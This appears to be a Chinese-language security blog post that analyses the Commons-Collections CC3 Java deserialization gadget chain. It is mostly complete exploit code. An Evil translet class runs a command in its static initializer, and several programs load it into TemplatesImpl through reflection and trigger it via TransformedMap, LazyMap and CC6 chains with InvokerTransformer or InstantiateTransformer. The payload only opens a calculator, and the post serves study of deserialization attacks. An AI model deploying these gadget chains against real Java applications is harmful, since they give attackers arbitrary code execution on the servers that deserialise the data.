Commons-Collections-CC3链分析

KaGty1 共 2.1k 字 预计 32 分钟 共 次阅读
  1. 1. 核心利用链 (TemplatesImpl.newTransformer)
    1. 1.1. EXP
  2. 2. CC3 + CC1-TransformedMap链
    1. 2.1. InvokerTransformer调用
      1. 2.1.1. EXP
    2. 2.2. InstantiateTransformer调用
      1. 2.2.1. EXP
      2. 2.2.2. 构造逻辑
  3. 3. CC3 + CC1-LazyMap链
  4. 4. CC3 + CC6

Commons-Collections CC3链不同于前几条链的命令执行，而是可以加载恶意字节码实现代码执行。

CC3链有两种调用方式：

(1) 使用 InvokerTransformer调用 Templates.newTransformer

(2) 使用 InstantiateTransformer类 + TrAXFilter类进行调用 (当 InvokerTransformer在黑名单中时)

image-20250208135459729

核心利用链 (TemplatesImpl.newTransformer)

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TemplatesImpl.newTransformer
		TemplatesImpl.getTransletInstance
				TemplatesImpl.defineTransletClasses
						_class[_transletIndex].newInstance()

image-20250208140803483

1、_name不能为 null，需利用反射赋值，defineTransletClasses加载恶意类后实例化执行任意代码，跟进 defineTransletClasses：

image-20250208140837178

2、赋值bytecodes恶意字节码，bytecodes是一个二维数组，在 for循环中加载恶意类，且恶意类的父类必须是 AbstractTranslet：

image-20250208141222029

image-20250208141520229

image-20250208141341854

image-20250208141359193

EXP

Evil.class (Evil.java编译后)

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public class Evil extends AbstractTranslet {
    public Evil() {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

exp

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

CC3 + CC1-TransformedMap链

InvokerTransformer调用

EXP
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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();

        //CC1-TransformedMap链利用
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(templates);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value",1);
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annontationInvocationHandlerConstructor.setAccessible(true);
        Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialize(annotationInvocationHandler);
        deserialize();
    }

    public static void serialize (Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize () throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}

InstantiateTransformer调用

EXP
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public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();

        //TrAXFilter trAXFilter = new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value",1);
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annontationInvocationHandlerConstructor.setAccessible(true);
        Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialize(annotationInvocationHandler);
        deserialize();
    }

    public static void serialize (Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize () throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}
构造逻辑

1、查找 TemplatesImpl.transformer的用法，在 TrAXFilter类的构造函数中被调用，templates可控：

image-20250208143805494

2、可以利用 InstantiateTransformer.transform获取其构造方法并进行实例化：

image-20250208144149873

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InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

根据流程图可知，CC3不仅可以和 CC1- TransformedMap联合利用，和 LazyMap链，CC6等都是可以的。

CC3 + CC1-LazyMap链

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();

        //TrAXFilter trAXFilter = new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        //lazyMap.get(Runtime.class);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annontationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annontationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h);
        Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
        serialize(annotationInvocationHandler);
        deserialize();
    }

    public static void serialize (Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize () throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}

CC3 + CC6

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();

        //TrAXFilter trAXFilter = new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");


        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");

        Class lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        serialize(map);
        deserialize();
    }

    public static void serialize (Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize () throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}

文章作者：KaGty1

文章链接：http://kagty1.github.io/2025/02/08/CC3%E9%93%BE%E5%88%86%E6%9E%90/

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